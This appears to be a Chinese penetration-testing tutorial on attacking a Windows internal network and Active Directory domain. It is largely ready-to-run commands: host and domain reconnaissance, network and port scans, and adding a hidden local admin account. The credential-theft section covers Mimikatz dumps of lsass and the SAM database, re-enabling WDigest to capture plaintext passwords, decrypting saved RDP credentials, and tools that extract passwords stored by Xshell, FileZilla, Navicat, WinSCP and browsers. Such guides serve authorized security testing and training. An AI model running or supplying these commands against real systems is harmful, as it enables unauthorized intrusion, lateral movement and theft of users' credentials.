内网渗透测试基础

内网环境与活动目录的概念

活动目录Active Directory的查询

域用户组及域内权限划分

OU组织单位

域用户和机器用户


内网横向移动

内网横向移动基础总结

域内横向移动总结

获取域内单机密码与Hash


1. 本机基础信息收集

1
whoami /all     # 查看当前用户、所处用户组、特权等。综合判断是否需要后续提权
1
ipconfig /all   # 网络配置情况,判断当前主机所处的内网网段,后续可以扫描不同的网段来探测内网中的主机。

在域环境中,DNS服务器的IP地址通常可能为域控制器地址

1
route print     # 查看主机路由表

在路由表中的 “网络目标” 都是主机可以直接访问到的

1
2
3
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 查看操作系统及版本
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

查看主机操作系统信息,包括主机名、操作系统版本、系统目录、所处工作站(域或组)、网卡信息、安装补丁信息等

1
netstat -ano

查看主机端口监听或开放状况。这是测试人员收集内网地址段信息的切入点

1
net session

查看当前主机与所连接的客户端主机间的会话

1
net share

查看当前主机开启的共享列表

1
2
net user
net user <username>

查看目标主机上的本地用户信息

1
query user

查看当前主机登录的用户

1
2
net user <username> <password> /add     # 创建本地用户
net localgroup administrators <username> /add # 将用户加入本地管理员组

在目标主机本地创建一个新的用户并加入本地管理员组

1
net use

查看当前主机与其它主机远程建立的网络共享连接

1
net localgroup administrators

查看本地管理员组

1
2
tasklist    
tasklist /SVC

查看当前主机的所有进程的信息。测试人员通常根据得到的进程列表确定目标主机上本地程序的运行情况,并对目标主机上运行杀毒软件等进行识别

1
2
3
4
5
6
7
8
9
10
11
12
13
wmic process get Name, ProcessId, ExecutablePath        # 通过WMIC查询主机进程信息,并过滤出进程的路径、名称、PID

wmic process where Name="msdtc.exe" get ExecutablePath # 查看指定进程的路径信息

wmic service get Caption, Name, PathName, StartName, State # 查看当前所有服务的信息,并过滤出服务的名称、路径、创建时间、运行状态信息

wmic service where Name="backdoor" get Caption, PathName, State # 查看指定服务的信息,并过滤出服务名称、路径和运行状态

wmic startup get Caption, Command, Location, User # 查看当前主机上所有的自启程序信息,并过滤程序名称、所执行的命令、程序的路径、所属用户

wmic qfe get Caption, CSName, Description, HotFixID, InstalledOn # 查看当前主机安装的补丁列表,并过滤出补丁链接、名称、描述、编号以及安装事件

wmic product get Caption, Version # 查看目标主机上安装的应用软件信息,并过滤出应用的名称和版本

WMIC是微软为Windows管理规范提供的一个命令行工具

1
schtasks /query /v /fo list         # 应该是需要管理员权限

查看当前主机上所有的计划任务

2. 域内基础信息收集

1
net config workstation

查看当前工作站的信息,包括当前计算机名、用户名、系统版本、工作站、登录的域等信息

1
net user /domain

查看所有的域用户

1
net user <username> /domain

查看指定域用户的详细信息

1
wmic useraccount get Caption, Domain, Description

获取所有用户的SID、所属域和用户描述信息

只有域用户才有权限执行域内查询操作。本地用户除非提升为本地系统权限,否则只能查询本机信息。

1
net group /domain

列出域内所有用户组

1
2
3
4
5
6
7
8
9
net group "Domain Admins" /domain       # 查看与管理员组,可以得到所有域管理员用户

net group "Domain Computers" /domain # 查询域成员主机组

net group "Domain Users" /domain # 查询域用户组

net group "Enterprise Admins" /domain # 查询企业系统管理员组

net group "Domain Controllers" /domain

默认情况下,Domain Admins组和Enterprise Admins组中的用户对域内所有域控制器和域成员主机拥有完全控制权限。Enterprise Admins组是一个通用组,是域林的根域中的一个组,并且其中的成员对域林中的所有域拥有完全控制权限。Domain Admins组只一个全局组,只对本域拥有完全控制权限

1
nltest /DCLIST:hack-my.com

也可以通过nltest命令查询指定域内的域控制器主机列表

1
net accounts /domain

查询域内用户的密码策略

1
net time /domain

域环境中,主域控制器会同时被用作时间服务器,使得域中所有计算机的时钟同步。可以通过查询时间服务器来找到主域控制器的名称

1
ping DC-1.hack-my.com

在知道目标主机的主机名后,可以直接对主机名执行ping命令,根据执行返回的内容得到目标主机在内网中的IP地址。除此之外,域控制器往往被用作DNS服务器,因此找到当前主机的DNS服务器地址也可以定位到域控

1
nltest /domian_trusts       # 查看域信任关系

域信任用于多域环境中的跨域资源的共享。一般情况下,一个域的用户只能访问本域内的资源,无法访问其它域的资源,而要想不同域之间实现互访就需要建立域信任

3. 内网资源探测

3.1 发现内网存活主机

  • 基于ICMP
1
2
3
4
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="      # 循环探测整个局域网C段中存活的主机
# FOR /L %variable in (start,step,end) DO command 以增量形式从开始到结束的一个数字序列
# -w 等待每次回复的超过时间
# -n 要发送的回显请求数

可以通过ICMP循环对整个网段的每个IP地址执行ping命令,所有能够ping通的IP地址即为内网中存活的主机

  • 基于NetBIOS(网络基本输入/输出系统)协议

NetBIOS是应用层服务,让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。NetBIOS是一种应用程序接口(API)。几乎所有的局域网都是在NetBIOS协议的基础上工作,操作系统可以利用WINS服务、广播、Lmhost文件等模式将NetBIOS名解析为对应的IP地址。Windows中默认安装TCP/IP后会自动安装NetBIOS。

1
nbtscan.exe 10.10.10.1/24       # 探测整个局域网中存活的主机

NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。它可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,并且以易读的表格列出收到的信息。对于每个响应的主机,会列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址

  • 基于UDP

可以将一个空的UDP报文发送到目标主机的待定端口,如果目标主机端口是关闭的,则会得到一个ICMP端口不可达的回应报文,这意味着该主机正在运行。

1
unicornscan -mU 10.10.10.0/24

Unicornscan是Kali的一款信息收集工具,提供了网络扫描功能。执行上面的协议会通过UDP协议扫描内网的存活主机

  • 基于ARP

向网络中发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应

1
arp-scan.exe -t 10.10.10.0/24

ARP-scan是一款快速、便携的内网扫描工具,利用ARP发现内网中存活的主机

  • 基于SMB

SMB又被称为网络文件共享系统(CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口,目前倾向使用445端口

1
crackmapexec smb 10.10.10.0/24      # 探测局域网中存在的SMB服务,从而发现内网中存活的主机

CrackMapExec(CME)是一款十分强大的后渗透利用工具,在Kali上可以直接使用apt-get安装。它可以枚举登录用户、枚举SMV服务列表、执行WINRM攻击等功能,可以帮助测试人员自动化评估大型域网络的安全性,具体见github

3.2 内网端口扫描

  • Telnet
1
telnet <IP> <Port>

简单测试指定的端口号是正常打开还是关闭状态

  • Nmap
1
nmap -p 80,88,135,139,443,8080,3306,3389 10.10.10.11

扫描目标主机的指定端口

1
nmap -sS -p 1-65535 10.10.10.11

扫描目标开放的全部端口

1
nmap -sC -sV -p 80,88,135,139,443,8080,3306,3389 10.10.10.11

扫描并获取目标主机指定端口开放的服务版本

  • PowerShell
1
Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanProt

NiShang是基于PowerShell的渗透测试专用框架,集成了各种脚本和Payload。Nishang的Scan模块中有一个Invoke-PortsCan.ps1 脚本,可以用来对主机进行端口扫描

3.3 利用MetaSploit探测内网

MetaSploit内置了几款资源收集模块

  • 主机存活探测模块
1
2
3
4
5
6
auxiliary/scanner/netbios/nbname        # 基于NetBIOS探测存活主机
auxiliary/scanner/discovery/udp_probe # 基于UDP探测存活主机
auxiliary/scanner/discovery/udp_sweep # 基于UDP探测存活主机
auxiliary/scanner/discovery/arp_sweep # 基于ARP探测存活主机
auxiliary/scanner/snmp/snmp_enum # 基于SNMP探测存活主机
auxiliary/scanner/smb/smb_version # 基于SMB探测存活主机
  • 内网端口扫描模块
1
2
3
4
auxiliary/scanner/portscan/ack      # 基于TCP ACK进行端口扫描
auxiliary/scanner/portscan/tcp # 基于TCP进行端口扫描
auxiliary/scanner/portscan/syn # 基于SYN进行端口扫描
auxiliary/scanner/portscan/xmas # 基于XMas进行端口扫描
  • 服务探测模块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
auxiliary/scanner/ftp/ftp_version       # 探测内网ftp服务
auxiliary/scanner/ssh/ssh_version # 探测内网ssh服务
auxiliary/scanner/telnet/telnet_version # 探测内网Telnet服务
auxiliary/scanner/dns/dns_amp # 探测内网NDS服务
auxiliary/scanner/http/http_version # 探测内网HTTP服务
auxiliary/scanner/mysql/mysql_version # 探测内网Mysql服务
auxiliary/scanner/mssql/mssql_schemadump # 探测内网SQL Server服务
auxiliary/scanner/oracle/oracle_hashdump # 探测内网Oracle服务
auxiliary/scanner/postgres/postgres_version # 探测内网Postgres服务
auxiliary/scanner/db2/db2_version # 探测内网DB2服务
auxiliary/scanner/redis/redis_server # 探测内网Redis服务
auxiliary/scanner/smb/smb_version # 探测内网SMB服务
auxiliary/scanner/rdp/rdp_scanner # 探测内网RDP服务
auxiliary/scanner/smtp/smtp_version # 探测内网SMTP服务
auxiliary/scanner/pop3/pop3_version # 探测内网POP3服务
auxiliary/scanner/imap/imap_version # 探测内网IMAP服务

3.4 获取端口Banner信息

  • NetCat
1
nc -nv 10.10.10.15 21

通过指定NetCat的“-nv”选项,在连接指定的端口时获取该端口的Banner信息

  • Telnet
1
telnet 10.10.10.15 21

目标端口开放,也会返回相应的Banner信息

  • Nmap
1
nmap --script=banner -p <Ports> <IP>

4. 用户凭据收集

4.1 获取域内单机密码和哈希值

Windows中,SAM 文件时Windows用户的账户数据库,位于系统的 %SystemRoot%\System32\Config 目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。

lsass.exe 是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登陆策略。在通常情况下,用户输入密码登陆后,登录的域名、用户名和登录凭据等信息会存储在 lsass.exe 的进程空间中,用户的明文密码经过WDigest和Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。

用于获取主机的用户密码和哈希值的工具大多是通过读取 SAM 文件或访问 lsass.exe 进程的内存数据等操作实现的。这些操作大多需要管理员权限,这意味着需要配合一些提权操作。

Mimikatz是一款功能强大的凭据转储开源程序,可以帮助测试人员提升进程权限、注入进程、读取进程内存等。

  • 在线读取lsass进程内存
1
2
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
# privilege::debug,用于提升至DebugPrivilege权限;sekurlsa::logonpasswords,用于导出用户凭据

上述命令可以直接从lsass.exe 进程的内存中读取当前已登录用户的凭据

  • 离线读取lsass内存文件

除了在线读取,也可以把lsass.exe的进程内存转储,将内存文件导出到本地后,使用Mimikatz进行离线读取。

用于转储进程内存的工具有很多:QutMinidump.ps1ProcdumpSharpDump

这里使用微软官方工具SharpDump工具

1
procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后执行下面的命令

1
2
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# sekurlsa::minidump lsass.dmp,用于加载内存文件;
  • 重新开启WDigest功能

为了防止用户的明文密码在内存中泄露,微软在2014年5月发布了KB2871997补丁,关闭了 WDigest 功能禁止从内存中获取明文密码,且 Win Server 2012 及以上版本默认关闭 WDigest 功能。

但测试人员可以通过修改注册表,重新开启Wdigest功能。当用户注销或者重新登录后,就可以重新获取到用户的明文密码

1
2
3
4
5
# 开启WDigest,需要权限
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# 关闭WDigest
reg add HKLM\STSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  • 在线读取本地SAM文件
1
2
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# token::elevate,用于提升至SYSTEM权限;lsadump::sam,用于读取本地SAM文件
  • 离线读取本地SAM文件

为了提高SAM文件的安全性以防止离线破解,Windows会对SAM文件只用密钥进行加密,这个密钥存储在SYSTEM文件中,与SAM文件位于相同目录下。

首先,在目标主机上导出SAM和SYSTEM两个文件。因为系统在运行时,这两个文件是被锁定的,所以需要一些工具来实现。

PowerSploit 项目中提供的 Invoke-NinjaCopy.ps1 脚本可以完成这项工作

1
2
Invoke-Ninja -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\Temp\SAM
Invoke-Ninja -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination C:\Temp\STSTEM

令外,通过 HiveNightmare 提权漏洞(CVE-2021-36934),可以直接读取SAM和SYSTEM

也可以在管理员权限下执行以下命令,通过保存注册表的方式导出

1
2
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

然后将导出的SAM和SYSTEM文件复制到本地,使用Mimikatz加载并读取SAM中的用户凭据信息

1
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

4.2 获取常见应用软件凭据

一些特定的应用程序可以存储密码,以方便用户管理和维护,如 XmanagerTeamViewerFileZillaNaviCat 和各种浏览器等。通过对保存的用户凭据进行导出和解密,通常可以获取登陆内网服务器和各种管理后台的账号密码,可以通过他们进行横向移动和访问受限资源

4.2.1 获取RDP保存的凭据

为了避免每次连接服务器都进行身份验证,经常使用RDP远程桌面连接远程服务器的用户可能勾选保存连接凭据,以便进行快速的身份验证。

这些凭据都是用数据保护API以加密形式存储在Windows的凭据管理器中,路径为 %USERPROFILE%\AppData\Local\Microsoft\Credentials

执行以下命令,可以查看当前主机上保存的所有连接凭据

1
2
3
cmdkey /list

dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*

其中列出的凭据是加密的,可以使用Mimikatz导出指定的RDP连接凭据

1
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\ 2B23BCADBE2FAD8EA21E6E9F0516772C" exit

其中得到的 pbData 是凭据的加密数据, guidMasterKey 是该凭据的GUID。然后执行下面的命令,找到与 guidMasterKey 相关联的 MasterKey 。这个 MasterKey 就是加密凭据所使用的密钥。

1
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

记录结果中的 MasterKey 的值,最后执行以下命令

1
mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\ 2B23BCADBE2FAD8EA21E6E9F0516772C/masterkey:39bff149dda4f21fed......" exit

使用找到的 MasterKey 值破解指定的凭据文件 2B23BCADBE2FAD8EA21E6E9F0516772C ,成功破解,得到RDP明文凭据

4.2.2 获取Xshell保存的凭据

Xshell会将服务器连接信息保存在 Session 目录下的 .xsh 文件中

Xshell版本 .xsh文件路径
Xshell 5 %USERPROFILE%\Document\NetSarang\Xshell\Sessions
Xshell 6 %USERPROFILE%\Document\NetSarang Computer\6\Xshell\Sessions
Xshell 7 %USERPROFILE%\Document\NetSarang Computer\7\Xshell\Sessions

Xshell 7 之前的版本,测试人员可以直接通过 SharpDecryptPwd 工具进行解密,包括 NavicatTeamViewerFileZillaWinSCPXmangager 等系列产品。项目地址见Github

SharpDecryptPwd.exe 上传到目标主机,执行以下命令,可以直接获取Xshell保存的所有连接凭据

1
SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Document\NetSarang Computer\6\Xshell\Sessions"

Xshell 7 之后的版本,Session目录中不再存储用户密码,只能使用星号密码查看器直接查看密码

4.2.3 获取FileZilla保存的凭据

FileZilla 会将所有的 FTP 登录凭据以 Base64 密文的格式保存在 %USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml 文件中

其中 <USER> 节点记录了FTP登录用户, <Pass> 节点记录了 Base64 加密后的用户密码

使用 SharpDecryptPwd 一键导出 FileZilla 保存的FTP登录凭据

1
SharpDecryptPwd.exe -FileZilla

4.2.4 获取NaviCat保存的凭据

NaviCat是一款强大的数据库管理和设计工具

当用户连接数据库时,需要填写相关的信息,如IP、用户名、密码等。

用户选择保存密码(默认勾选)后,Navicat将把这些信息保存到注册表中,具体路径如下表。其中,密码是通过可逆算法加密后保存的,并且 Navicat<=11** 和 **Navicat>=12 分别使用不同的加密算法

数据库类型 凭据存储路径
MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<Connection Name>
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<Connection Name>
MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<Connection Name>
SQL Server HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<Connection Name>
Orale HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<Connection Name>
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<Connection Name>
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<Connection Name>

通过下面的命令

1
SharpDecryptPwd.exe -NavicaCrypto

可以一键导出当前主机上用户连接过的所有数据库的登录凭据

4.2.5 获取浏览器保存的登录凭据

通常,Web浏览器保存的用户凭据以加密形式存储在本地文件中,测试人员可以通过读取特定的文件,从Web浏览器中获取凭据

HackBrowserData 是一款开源工具,可以直接从浏览器解密数据包括用户登录密码、书签、cookie、历史记录、信用卡、下载链接等,支持流行的浏览器,可在Windows、MacOS、Linux平台上运行

1
HackBrowserData.exe

直接运行即可。执行完毕,会在当前目录下生成一个 result 目录,包含当前主机中已安装的所有浏览器保存的用户登录密码、浏览器书签、Cookie、历史记录等信息的csv文件

4.2.6 获取WinSCP保留的登录凭据

WinSCP是Windows环境下使用SSH的开源图形化SFTP工具客户端

在使用SFTP连接时,如果勾选了“保存密码”,WinSCP就会将密码保存在 WinSCP.ini 文件下。使用 Winscpped 工具则可以进行解密

1
Winscpped.exe WinSCP.ini